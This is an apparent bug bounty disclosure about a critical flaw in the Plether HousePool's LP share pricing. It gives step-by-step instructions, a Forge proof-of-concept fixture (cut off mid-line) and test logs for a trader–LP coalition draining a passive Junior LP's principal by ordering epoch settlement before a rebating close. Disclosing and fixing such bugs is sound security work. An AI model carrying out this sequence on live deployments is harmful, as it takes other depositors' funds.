Refundable VPI in HousePool LP Share Pricing Lets a Trader-LP Coalition Withdraw Other LPs' Principal
A skew-increasing open pays refundable virtual price impact into the HousePool, but LP share pricing counts that cash as Junior equity even though the open position can reclaim it as a rebate on a later close. A trader working with a Junior LP can settle the LP epoch before the rebating close, so a passive Junior holder's funded withdrawal is paid partly from cash the remaining LPs must cover.
Originally disclosed on Immunefi
- Disclosed after under an hour
#99132 [SC-Critical] Refundable VPI in HousePool LP Share Pricing Lets a Trader-LP Coalition Withdraw Other LPs' Principal
Submitted on Nov 12th 2026 at 01:43:55 UTC by @zer0luck_xint for Audit Competition | Plether
- Report ID: #99132
- Report Type: Smart Contract
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-plether/blob/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src/HousePool.sol
- Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
A skew-increasing open pays positive virtual price impact (VPI) into the HousePool, and the open position can reclaim it as a rebate when a skew-reducing close follows. LP share pricing counts that collected but refundable cash as Junior equity, so a Junior redemption settled between the open and the rebating close is paid partly from cash that the remaining Junior LPs fund when the rebate leaves the pool.
A trader and a Junior LP acting together can have the LP epoch settled before the trader's close, either in one permissionless transaction or by committing the close only after the settlement. Repeated over several cycles, a passive Junior holder's fully funded withdrawal falls below its deposit, while the coalition exits with more USDG than it funded.
Vulnerability Details
The open pays VPI into the pool, and the position can reclaim it. A skew-increasing open transfers positive VPI into the HousePool as realized cash. The open position retains its lifetime VPI balance, so a later skew-reducing close can receive a rebate from pool cash:
LP share pricing counts the refundable VPI as Junior equity. HousePool calculates LP distributable equity from physical pool assets, the terminal price delta, and trader claims:
uint256 terminalAssets = engineSnapshot.physicalAssets;
uint256 terminalLiabilities = engineSnapshot.traderClaimBalanceAssets;
int256 terminalDelta = engineSnapshot.terminalLpPriceDeltaAssets;
The terminal price delta excludes VPI because VPI is settled separately from price profit and loss (ACCOUNTING_SPEC.md:141-142). Keeping VPI outside price profit and loss does not reserve VPI cash that the pool has already collected while the live position can reclaim it. The physical-asset term includes the positive VPI cash collected on the open without accounting for the rebate that the still-open position can receive on a later skew-reducing close, so that cash is priced as withdrawable Junior equity. The rebate is recalculated at the close, capped by the position's accrued VPI, and waived to the extent free pool cash is unavailable. The opposite direction is treated conservatively: the clawback that a live position owes for negative lifetime VPI is held in a dedicated reserve that does not raise LP NAV (ACCOUNTING_SPEC.md:1057-1066).
Settlement before the close moves the rebate onto the remaining LPs. LP epoch settlement prices redemption and deposit shares from this equity snapshot, and the redemption becomes a funded claim before the queued close executes:
The close then applies the same signed VPI curve to the skew reduction and pays a rebate from the cash remaining in the HousePool. Its lifetime clamp limits the rebate to VPI already paid by the position, so the trader recovers at most the VPI it paid and the gain comes from the Junior redemption:
Trigger. The trader commits the full close 1 second before an LP epoch boundary. A price published at the boundary reaches the caller 7 seconds later. One permissionless transaction uses that price to settle the LP epoch and then execute the queued close. The close cannot fill at a price published at or before its commit time, because order execution requires a publish time later than the commit time. The supplied boundary tick is the first eligible update after the commit, so the close cannot execute against a pre-boundary tick, and LP epoch settlement accepts the same update while positions are open. At 7 seconds after the boundary the same update can settle the LP epoch and execute the close in the order the caller chooses. The Junior LP redemption is already funded when the rebate reduces the remaining pool's value.
Impact Details
Severity: Critical, Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield.
The coalition takes principal from a passive Junior LP. The passive holder contributes 6 million USDG and makes no trade. Its entire redemption is funded in every run, but it receives less USDG after the coalition's actions. The coalition withdraws its Junior redemption and its remaining trader margin as USDG, finishing above the 15.4 million USDG it funded (15 million of Junior deposits and 400,000 of trader margin).
In the release deployment with release parameters, all runs start from the same snapshot and use the same LP deposits, redemptions, prices and settlement times over 3 cycles, each spanning a deposit epoch, the 1-hour cooldown and a redemption epoch. The first run has no coalition trades. The other 2 runs contain the same opens and close commits and differ only in the order of the queued close and the LP epoch settlement at the boundary tick: in the control an independent executor runs the close first, in the attack one transaction settles the LP epoch first.
| No coalition trades | Same trades, close first | Same trades, settlement first (attack) | |
|---|---|---|---|
| Passive Junior holder withdrawal | 6,000,000.00 | 6,003,208.01 | 5,975,712.35 |
| Coalition result against its funded capital | -13,144.86 | +14,350.81 | |
| Close rebates over the 3 cycles | 48,958.36 | 49,022.76 |
The settlement order alone lowers the passive Junior holder's withdrawal by 27,495.66 USDG and raises the coalition's cash by 27,495.67 USDG, and turns the coalition's trade costs into a profit. The redemption lowers pool depth before the close, so the lifetime clamp binds and in every attack cycle the rebate equals the VPI the open paid (16,324.24 USDG in the first cycle). Over the 3 cycles the close rebates differ between the 2 orders by 64.40 USDG and the VPI paid on the opens by 21.41 USDG, so the trader's net VPI differs by 43.00 USDG, a small part of the 27,495.66 USDG difference; the principal transfer comes from the Junior redemption that settlement prices with the collected VPI still in LP equity (15,011,807.91 USDG in the first attack cycle against 15,000,000.00 without trades).
Prerequisites:
- A Junior-funded pool in which the coalition supplies a large share of Junior capital. The test pool holds 15 million USDG from the coalition's Junior LP, 6 million USDG from the passive Junior LP, and the permanent Senior and Junior seed positions.
- A skew-increasing open that pays VPI. The trader funds 400,000 USDG of margin and opens an 8.28 million USDG notional SHORT in each cycle, 39.43% to 39.50% of pool depth across the 3 cycles, inside the 40% maximum skew ratio of the release parameters, with no other position open. The VPI paid, and with it the amount moved, depends on that skew.
- Capital recycling. After an exit, the coalition reinvests 14.98 million USDG from its own redemption wallet and waits through the 1-hour cooldown that starts at deposit activation. No additional outside LP deposit is needed.
- Settlement before the close. In the main sequence the caller supplies a valid boundary-published price and settles the LP epoch and executes the close in one transaction. If another executor ran the queued close in an earlier transaction, the Junior redemption in that cycle would be priced after the rebate, which removes this route for that cycle while the trader still pays its execution fees. The trader avoids this race by committing the close only after the settlement: the close then fills only on a price published after its commit time, so no executor can run it first. With that ordering the passive Junior holder's withdrawal is 24,287.27 USDG lower than without the coalition's trades and the coalition exits 14,350.42 USDG above its funded capital (
test_threeCyclesCloseCommittedAfterSettlement). - Transaction costs. The coalition result counts every protocol charge, carry and the execution fee recorded in the trader's balance. It does not include Arbitrum gas or the Pyth update fee, which the local Pyth double does not charge; settlement and order execution pay those per call.
- No privileged role, incorrect oracle value or unusual configuration is involved. Every call is a public function used with valid price updates.
Recommendation
Track the refundable portion of positive lifetime VPI for each open position and deduct its aggregate from the equity used to price LP shares. Update that amount atomically on opens, increases, reductions, closes, and liquidations. Keep the VPI settlement and lifetime clamp unchanged, and use the same adjusted equity for redemption and deposit pricing.
References
- Audit commit: https://github.com/immunefi-team/audit-comp-plether/tree/a82d4fefb02768e5b3bddcc97dee371eee24fea8
- VPI settlement outside price profit and loss, and the negative-VPI reserve:
packages/perps/ACCOUNTING_SPEC.md:141-142,:1057-1066 - Plether accounting model:
packages/perps/ACCOUNTING_SPEC.md:21-36 - Release parameters:
packages/perps/DEPLOYMENT.md(Initial release parameters) andscript/DeployPerpsArbitrumSepolia.s.sol
Proof of Concept
Proof of Concept
The test deploys the release contracts with script/DeployPerpsArbitrumSepolia.s.sol inside Forge through ReleaseFixture.sol (source at the end of this section). In-scope contracts are unmodified. Only out-of-scope components are mocked:
- Pyth: the repository's
test/mocks/MockPyth.sol, etched at the release Pyth address. - USDG: the release
MockUSDG. - The ArbSys block-number precompile.
The PoC file VpiNavLpSandwich.t.sol contains 8 tests; the command below runs the 3 three-cycle tests. Steps in test_threeCyclesDrainSamePassiveJuniorHolder, all through public entry points; the six Pyth feeds stay at a 1.20 basket with 1 bp confidence:
- The coalition's Junior LP deposits 15,000,000 USDG and the passive Junior LP 6,000,000 USDG. The trader funds 400,000 USDG of margin. The test takes a snapshot.
- The coalition queues its full Junior redemption for the next hourly LP epoch.
- The trader opens an 8.28 million USDG notional SHORT that executes 53 seconds before the boundary and pays VPI into the pool. 1 second before the boundary it commits the full close.
- 7 seconds after the boundary, with a price published at the boundary, one transaction from an address with no role settles the LP epoch and then executes the queued close.
- The coalition claims its redemption, redeposits 14,980,000 USDG from its redemption proceeds, waits for activation and the 1-hour cooldown, queues the next redemption, and steps 3-4 repeat twice.
- The passive Junior LP redeems all its shares, and the trader withdraws its margin.
- From the same snapshot, the comparison runs the same deposits, redemptions and settlement times without the trader's open and close.
- The test checks full funding and zero pending shares for the passive LP's redemption, full trader-margin withdrawal, the passive LP's lower withdrawal, the coalition's cash above its funded capital, and that the USDG held by the custody contracts and actor wallets is unchanged by every cycle and equals the token supply at the end.
test_threeCyclesCloseBeforeLpSettlementControl runs the attack sequence and, from the same snapshot, a control with identical trades, commit times and prices in which an independent executor runs the queued close first and the LP epoch is settled afterwards with the same boundary tick. It checks that settlement before the close lowers the passive withdrawal and raises the coalition's cash by the same amount within 1 USDG, that the coalition ends below its funded capital with the close first and above it with settlement first, and that the close rebates of the 2 orders differ by less than 100 USDG.
test_threeCyclesCloseCommittedAfterSettlement runs the same sequence, except that the trader commits each close in the block after the LP epoch settlement and an independent executor runs it on a later price tick, and compares the passive Junior holder's withdrawal with the run without coalition trades.
On a fresh clone of the audit commit, run git submodule update --init --recursive. Create test/poc/ at the repository root, place ReleaseFixture.sol and VpiNavLpSandwich.t.sol (sources at the end of this section) in it, then run from the repository root with Forge 1.5.1:
forge test --match-path test/poc/VpiNavLpSandwich.t.sol --match-test test_threeCycles -vv
Excerpt from the output of the command above for test_threeCyclesCloseBeforeLpSettlementControl (deployment and per-cycle lines omitted):
[PASS] test_threeCyclesCloseBeforeLpSettlementControl() (gas: 34887083)
Logs:
same trades: passive Junior withdrawal, close first / settlement first 6003208006766 5975712346088
same trades: coalition USDG, close first / settlement first 15386855144542 15414350809802
same trades: summed close rebates, close first / settlement first 48958.356806 USDG 49022.758544 USDG
same trades: coalition result vs funded capital, close first -13144.855458 USDG
same trades: coalition result vs funded capital, settlement first 14350.809802 USDG
ordering: passive Junior loss 27495.660678 USDG
ordering: coalition gain 27495.665260 USDG
ordering: close rebate difference 64.401738 USDG
Excerpt from the same output for test_threeCyclesCloseCommittedAfterSettlement (deployment and per-cycle lines omitted):
[PASS] test_threeCyclesCloseCommittedAfterSettlement() (gas: 23412708)
Logs:
close committed after settlement: passive Junior withdrawal, no trades / attack 5999999999949 5975712731136
close committed after settlement: passive Junior cash loss 24287.268813 USDG
close committed after settlement: coalition result vs funded capital 14350.424754 USDG
Excerpt from the same output for test_threeCyclesDrainSamePassiveJuniorHolder: the first attack cycle (deployment lines and the comparison cycles omitted):
[PASS] test_threeCyclesDrainSamePassiveJuniorHolder() (gas: 23238627)
Logs:
b-53s trader opens SHORT; pool depth before it 21000002.000000 USDG
VPI the open paid into the pool (vpiAccrued) 16324.242110 USDG
b-1s trader commits the full close (fills only on a price published at or after b)
b+7s OrderRouter.settleLpEpoch funds the attacker LP redemption 15011807.909495 USDG
b+7s close executes after settlement using the same boundary tick; pool depth after it 5991919.580417 USDG
VPI rebate (close receipt) 16324.242110 USDG
end attacker LP USDG received 15011807.909495 USDG
attacker trader balance 392962.227399 USDG
entrant LP value 0.000000 USDG
honest Junior LP value 5991917.581746 USDG
USDG in 5 custody contracts + actor wallets, before / after 21400002.000000 USDG 21400002.000000 USDG
USDG total supply minus custody and wallets 0.000000 USDG
Excerpt from the same output: the end of test_threeCyclesDrainSamePassiveJuniorHolder and the suite summary (the other cycles omitted):
three-cycle passive Junior comparison withdrawal 5999999999949
three-cycle passive Junior attacked withdrawal 5975712346088
three-cycle passive Junior cash loss 24287.653861 USDG
three-cycle attacker cash gain over comparison 14350.809841 USDG
three-cycle attacker absolute cash gain 14350.809802 USDG
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 77.03ms (146.38ms CPU time)
Source files
ReleaseFixture.sol
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
// Deploys the release contracts with script/DeployPerpsArbitrumSepolia.s.sol inside Forge.
// Pyth, USDG and ArbSys are replaced by local test components; in-scope contracts are unmodified.
import {DeployPerpsArbitrumSepolia} from "../../script/DeployPerpsArbitrumSepolia.s.sol";
import {MockPyth} from "../mocks/MockPyth.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {PletherOracle} from "@plether/perps/PletherOracle.sol";
import {TrancheVault} from "@plether/perps/TrancheVault.sol";
import {Test, console2} from "forge-std/Test.sol";
/// @dev Mirrors the Arbitrum precompile's block-number view inside the local test EVM.
contract ReleaseFixtureArbSys {
function arbBlockNumber() external view returns (uint256) {
return block.number;
}
}
abstract contract ReleaseFixture is Test {
address internal constant RELEASE_PYTH = 0x0B73614636C855Bf23F342F307FB981A3e47f42B;
uint256 internal constant DEPLOYER_KEY = 0xA11CE;
uint256 internal constant MONDAY_MORNING = 1_709_532_000; // Mon 2024-03-04 06:00 UTC (live market)
uint256 internal constant BASKET_1_20 = 120_000_000; // normalized basket mark 1.20 (8 decimals)
uint8 internal constant MODE_LIVE = 1;
uint8 internal constant MODE_FAD = 2;
uint8 internal constant MODE_FROZEN = 4;
uint8 internal constant MODE_ANY = 7;
DeployPerpsArbitrumSepolia.DeployedContracts internal d;
address internal owner;
address internal keeper = makeAddr("keeper");
uint256 internal clientNonce;
function setUp() public virtual {
vm.chainId(421_614);
vm.warp(MONDAY_MORNING);
ReleaseFixtureArbSys arbSys = new ReleaseFixtureArbSys();
vm.etch(address(100), address(arbSys).code);
MockPyth pyth = new MockPyth();
vm.etch(RELEASE_PYTH, address(pyth).code);
vm.setEnv("TEST_PRIVATE_KEY", vm.toString(DEPLOYER_KEY));
d = DeployPerpsArbitrumSepolia(deployCode("DeployPerpsArbitrumSepolia.s.sol:DeployPerpsArbitrumSepolia")).run();
owner = vm.addr(DEPLOYER_KEY);
// Permanent 1 USDG seeds per tranche (release values), then activation.
d.settlementToken.mint(owner, 2e6);
vm.startPrank(owner);
d.settlementToken.approve(address(d.housePool), 2e6);
d.housePool.initializeSeedPosition(false, 1e6, owner);
d.housePool.initializeSeedPosition(true, 1e6, owner);
d.housePool.activateTrading();
vm.stopPrank();
_setBasketPrices(BASKET_1_20);
d.router.updateMarkPrice(_updateData());
}
// ---------------------------------------------------------------- prices
function _oracle() internal view returns (PletherOracle) {
return PletherOracle(d.pletherOracle);
}
/// @dev Sets all six feeds so the normalized basket equals `basketPrice`, published at the current block time.
function _setBasketPrices(
uint256 basketPrice
) internal {
_setBasketPricesAt(basketPrice, vm.getBlockTimestamp());
}
function _setBasketPricesAt(
uint256 basketPrice,
uint256 publishTime
) internal {
for (uint256 i; i < 6; ++i) {
_setFeed(i, basketPrice, publishTime);
}
}
/// @dev Sets one component so that it alone would give normalized basket `basketPrice`, at `publishTime`.
function _setFeed(
uint256 i,
uint256 basketPrice,
uint256 publishTime
) internal {
PletherOracle oracle = _oracle();
uint256 normalizedPrice = oracle.basePrices(i) * basketPrice / 1e8;
uint256 feedPrice = oracle.inversions(i) ? 1e16 / normalizedPrice : normalizedPrice;
MockPyth(RELEASE_PYTH).setPrice(oracle.pythFeedIds(i), int64(uint64(feedPrice)), int32(-8), publishTime);
}
/// @dev Same as _setFeed with an explicit confidence (in feed units).
function _setFeedWithConf(
uint256 i,
uint256 basketPrice,
uint64 conf,
uint256 publishTime
) internal {
PletherOracle oracle = _oracle();
uint256 normalizedPrice = oracle.basePrices(i) * basketPrice / 1e8;
uint256 feedPrice = oracle.inversions(i) ? 1e16 / normalizedPrice : normalizedPrice;
MockPyth(RELEASE_PYTH).setPrice(oracle.pythFeedIds(i), int64(uint64(feedPrice)), conf, int32(-8), publishTime);
}
/// @dev A non-encoded payload makes the MockPyth double use the configured per-feed prices.
function _updateData() internal pure returns (bytes[] memory data) {
data = new bytes[](1);
data[0] = "";
}
function _refreshMark(
uint256 basketPrice
) internal {
_setBasketPrices(basketPrice);
vm.prank(keeper);
d.router.updateMarkPrice(_updateData());
}
// ---------------------------------------------------------------- time
function _warp(
uint256 dt
) internal {
vm.warp(vm.getBlockTimestamp() + dt);
vm.roll(vm.getBlockNumber() + 1 + dt / 4);
}
function _warpTo(
uint256 t
) internal {
uint256 nowTs = vm.getBlockTimestamp();
require(t >= nowTs, "warp back");
vm.roll(vm.getBlockNumber() + 1 + (t - nowTs) / 4);
vm.warp(t);
}
// ---------------------------------------------------------------- USDG and LPs
function _mint(
address to,
uint256 amount
) internal {
d.settlementToken.mint(to, amount);
}
function _vault(
bool senior
) internal view returns (TrancheVault) {
return senior ? d.seniorVault : d.juniorVault;
}
function _requestDeposit(
bool senior,
address lp,
uint256 assets
) internal returns (uint256 requestId) {
TrancheVault v = _vault(senior);
_mint(lp, assets);
vm.startPrank(lp);
d.settlementToken.approve(address(v), assets);
requestId = v.requestDeposit(assets, lp, lp);
vm.stopPrank();
}
/// @dev Warps to the request's epoch start (if not past) and settles through the Router's atomic oracle route.
function _settleEpoch(
uint256 requestId,
uint256 basketPrice
) internal {
uint256 start = d.housePool.lpEpochStart(requestId);
if (vm.getBlockTimestamp() < start) {
_warpTo(start);
}
_setBasketPrices(basketPrice);
vm.prank(keeper);
d.router.settleLpEpoch(_updateData());
}
function _claimDeposit(
bool senior,
address lp,
uint256 requestId
) internal returns (uint256 shares) {
TrancheVault v = _vault(senior);
uint256 claimable = v.claimableDepositRequest(requestId, lp);
vm.prank(lp);
shares = v.claimDeposit(requestId, claimable, lp, lp);
}
/// @dev Request, settle at `basketPrice`, claim. Returns shares.
function _lpDeposit(
bool senior,
address lp,
uint256 assets,
uint256 basketPrice
) internal returns (uint256 shares) {
uint256 requestId = _requestDeposit(senior, lp, assets);
_settleEpoch(requestId, basketPrice);
shares = _claimDeposit(senior, lp, requestId);
}
function _requestRedeem(
bool senior,
address lp,
uint256 shares
) internal returns (uint256 requestId) {
vm.prank(lp);
requestId = _vault(senior).requestRedeem(shares, lp, lp);
}
function _claimRedeem(
bool senior,
address lp,
uint256 requestId
) internal returns (uint256 assets) {
TrancheVault v = _vault(senior);
uint256 shares = v.claimableRedeemRequest(requestId, lp);
vm.prank(lp);
assets = v.claimRedeem(requestId, shares, lp, lp);
}
// ---------------------------------------------------------------- traders
function _fundTrader(
address trader,
uint256 assets
) internal {
_mint(trader, assets);
vm.startPrank(trader);
d.settlementToken.approve(address(d.clearinghouse), assets);
d.clearinghouse.depositMargin(assets);
vm.stopPrank();
}
/// @dev Permissive bounds: no practical ceilings (zero means zero, so ceilings use max values).
function _bounds(
uint8 modes
) internal view returns (OrderV3Types.ExecutionBounds memory b) {
b.submitBy = uint64(vm.getBlockTimestamp() + 60);
b.executionWindowSeconds = 60;
b.allowedExecutionModes = modes;
b.expectedConfigHash = d.lifecycleBook.currentExecutionConfigHash();
b.maxExecutionBountyAssets = type(uint256).max;
b.maxExecutionNotionalAssets = type(uint256).max;
b.maxGrossAccountDebitAssets = type(uint256).max;
b.maxActionChargeAssets = type(uint256).max;
b.maxExplicitFeesAssets = type(uint256).max;
b.maxPostPositionSize = type(uint256).max;
b.minPostSettlementBalanceAssets = 0;
b.minPostPositionEquityAssets = 0;
b.maxPostLeverageBps = type(uint32).max;
}
function _nextClientId() internal returns (bytes32) {
return bytes32(uint256(keccak256(abi.encode("poc", ++clientNonce))));
}
/// @param size synthetic size in 1e18 units; must be a multiple of 100e18 (positionSizeQuantum 1e20).
function _openReq(
CfdTypes.Side side,
uint256 size,
uint256 margin,
uint256 targetPrice
) internal returns (OrderV3Types.OrderRequest memory r) {
r.clientOrderId = _nextClientId();
r.side = side;
r.sizeDelta = size;
r.marginDelta = margin;
r.targetPrice = targetPrice;
r.isClose = false;
r.bounds = _bounds(MODE_LIVE | MODE_FAD);
}
function _closeReq(
CfdTypes.Side side,
uint256 size,
uint256 targetPrice
) internal returns (OrderV3Types.OrderRequest memory r) {
r.clientOrderId = _nextClientId();
r.side = side;
r.sizeDelta = size;
r.marginDelta = 0;
r.targetPrice = targetPrice;
r.isClose = true;
r.bounds = _bounds(MODE_ANY);
}
function _commit(
address trader,
OrderV3Types.OrderRequest memory r
) internal returns (uint64 orderId) {
vm.prank(trader);
orderId = d.router.commitOrder(r);
}
/// @dev Advances 7 s / 2 blocks (past the commit tick), publishes `basketPrice`, executes as `keeper`.
function _execute(
uint64 orderId,
uint256 basketPrice
) internal returns (OrderV3Types.ExecutionResult memory result) {
vm.warp(vm.getBlockTimestamp() + 7);
vm.roll(vm.getBlockNumber() + 2);
_setBasketPrices(basketPrice);
vm.prank(keeper);
result = d.router.executeOrder(orderId, _updateData());
}
function _openPosition(
address trader,
CfdTypes.Side side,
uint256 size,
uint256 margin,
uint256 basketPrice
) internal returns (OrderV3Types.ExecutionResult memory result) {
// Slippage targets: a LONG gains when the basket falls, so it opens at a price >= target and closes at <= target.
uint256 target = side == CfdTypes.Side.LONG ? 1 : basketPrice * 2;
uint64 id = _commit(trader, _openReq(side, size, margin, target));
result = _execute(id, basketPrice);
}
function _closePosition(
address trader,
CfdTypes.Side side,
uint256 size,
uint256 basketPrice
) internal returns (OrderV3Types.ExecutionResult memory result) {
uint256 target = side == CfdTypes.Side.LONG ? basketPrice * 2 : 1;
uint64 id = _commit(trader, _closeReq(side, size, target));
result = _execute(id, basketPrice);
}
function _requireExecuted(
OrderV3Types.ExecutionResult memory r,
string memory label
) internal pure {
if (r.status != OrderV3Types.LifecycleStatus.Executed) {
console2.log("order not executed:", label);
console2.log(" status", uint256(uint8(r.status)));
console2.log(" terminalReason", uint256(uint8(r.terminalReason)));
console2.log(" pendingReason", uint256(uint8(r.pendingReason)));
revert(label);
}
}
function _liquidate(
address account,
uint256 basketPrice
) internal {
_setBasketPrices(basketPrice);
vm.prank(keeper);
d.router.executeLiquidation(account, _updateData());
}
// ---------------------------------------------------------------- state views
function _poolAssets() internal view returns (uint256) {
return d.housePool.totalAssets();
}
function _usdgOf(
address a
) internal view returns (uint256) {
return d.settlementToken.balanceOf(a);
}
function _logState(
string memory label
) internal view {
console2.log("==", label);
console2.log(" pool totalAssets ", d.housePool.totalAssets());
console2.log(" pool raw USDG ", _usdgOf(address(d.housePool)));
console2.log(" seniorPrinci
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the equity used to price LP shares includes positive VPI cash collected on an open without reserving the rebate that the still-open position can later reclaim.
Impact
The coalition could withdraw more USDG than it funded while a passive Junior holder's fully funded redemption falls below its deposit; the result excludes Arbitrum gas and the Pyth update fee, and the route fails for a cycle if another executor runs the close first.
What the attacker needed
Junior-funded pool with large coalition share; Skew-increasing open that pays VPI; Settlement before the queued close; Capital recycling through cooldown
The fix
The refundable portion of positive lifetime VPI for each open position should be tracked and deducted from the equity used to price LP shares, updated atomically on opens, increases, reductions, closes and liquidations.
How it was found
- The coalition's Junior LP deposits 15,000,000 USDG and the passive Junior LP 6,000,000 USDG; the trader funds 400,000 USDG of margin.
- The coalition queues its full Junior redemption for the next hourly LP epoch.
- The trader opens an 8.28 million USDG notional SHORT 53 seconds before the boundary, paying VPI into the pool, and commits the full close 1 second before the boundary.
- 7 seconds after the boundary, one transaction from an address with no role settles the LP epoch and then executes the queued close using the boundary price.
- The coalition claims its redemption, redeposits 14,980,000 USDG, waits for activation and the 1-hour cooldown, queues the next redemption, and repeats the open and close twice.
- The passive Junior LP redeems all its shares and the trader withdraws its margin.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a trader opens a position, the pool charges a fee-like amount called virtual price impact, and the trader can get it back when they close. The pool's share price, however, treats that money as if it belonged to the liquidity providers, so it looks withdrawable. By settling a withdrawal before the trader closes, the pair take out more than they should and the loss lands on other liquidity providers.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.